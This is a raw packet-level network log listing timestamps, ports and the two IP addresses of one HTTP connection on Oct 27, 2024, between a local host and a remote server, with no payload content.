Oct 27, 2024 20:15:27.990792036 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.990833998 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.991060972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991091967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991102934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991110086 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.991154909 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.991498947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991596937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991646051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.991667032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991722107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991740942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991753101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.991766930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.991805077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:27.994410038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.994477987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:27.994532108 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.027590990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.027614117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.027626038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.027692080 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.107656002 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.107683897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.107707977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.107748032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.107762098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.107814074 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.107904911 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.107960939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.107974052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108011961 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.108339071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108351946 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108366966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108407974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.108470917 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.108696938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108707905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108717918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108747005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.108807087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108818054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.108875036 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.111426115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.111435890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.111478090 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.144742012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.144763947 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.144773960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.144798040 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.144829988 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.224594116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.224608898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.224667072 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.224756956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.224775076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.224828005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.224865913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.224914074 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.224956989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.225094080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225147009 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225215912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.225272894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225301981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225312948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225333929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.225621939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225632906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225641966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225668907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.225727081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.225939989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225966930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.225976944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.226012945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.228389978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.228430033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.228449106 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.264055967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.264076948 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.264089108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.264136076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.264172077 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.341943979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.341965914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.341976881 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342027903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.342152119 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342206955 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.342235088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342257977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342269897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342317104 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.342442989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342473030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342483044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342497110 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.342530012 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.342756033 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342803955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342814922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342833042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.342854977 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.342891932 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.343275070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.343286037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.343328953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.379273891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.379293919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.379306078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.379345894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.379374027 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.379432917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.379435062 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.379511118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.381047010 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.459188938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459217072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459238052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459248066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459270954 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459285975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459374905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459391117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459393024 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.459394932 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.459528923 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.459552050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459568977 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459585905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459602118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.459681034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.459681034 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.460066080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.460082054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.460098982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.460161924 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.460185051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.460349083 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.460484982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.460689068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.461045980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.496530056 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.496567011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.496586084 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.496726036 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.546741962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.546771049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.546798944 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.546947002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.546947002 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.576216936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576239109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576255083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576271057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576301098 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576316118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576333046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576344967 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.576380014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576396942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.576404095 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.576987982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.577003956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.577012062 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.577019930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.577081919 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.577081919 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.577457905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.577474117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.579369068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.579504013 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.613396883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.613420963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.613437891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.613455057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.613464117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.613913059 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.663752079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.663773060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.663799047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.663815975 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.663831949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.663841009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.663850069 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.663907051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.663907051 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.693344116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.693399906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.693433046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.693449020 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.693458080 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.693466902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.693485022 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.693495035 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.693687916 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.693701982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.693718910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.693734884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.694030046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.694032907 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.694180012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.694194078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.694210052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.694211006 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.694472075 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.731228113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.731249094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.731265068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.731276989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.731395960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.778568029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.778589010 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.778605938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.778816938 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.780673027 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.780689001 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.780776978 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.780791998 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.780798912 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.780807972 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.780824900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.780832052 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.781054974 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.810178995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810257912 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810285091 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.810328007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810343981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810360909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810375929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810383081 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.810396910 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.810785055 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810801029 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810817003 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.810837030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.810883045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.811106920 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.811121941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.811137915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.811160088 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.811917067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.811930895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.812024117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.848357916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.848376989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.848392963 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.848459959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.848459959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.895458937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.895476103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.895502090 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.895514965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.895536900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.895802975 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.897770882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.897787094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.897803068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.897881985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.897897959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.897907019 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.897912979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.897928953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.897994995 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.927186012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927202940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927277088 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927303076 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.927345991 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927361965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927377939 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927400112 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.927711964 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.927783012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927798986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927814960 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.927886009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.928131104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.928147078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.928163052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.928180933 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.928502083 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.965245008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.965261936 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.965322018 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.965337992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.965334892 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.965353966 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.965368986 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:28.965418100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:28.965418100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.012593985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.012612104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.012739897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.012754917 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.012758017 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.012880087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.014735937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.014750957 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.014827967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.014844894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.014853954 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.014861107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.014877081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.014899015 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.014997005 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.044322014 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044339895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044367075 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044383049 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044389009 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.044399023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044414997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044425011 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.044491053 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.044794083 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044810057 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044826031 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.044848919 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.045129061 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.045144081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.045159101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.045222044 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.045222044 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.082261086 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.082277060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.082367897 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.082384109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.082396030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.082401037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.082417011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.082427979 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.082571030 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:29.129812956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.129833937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:29.129851103 CET	80	49719	185.215.113.16	192.168.2.5
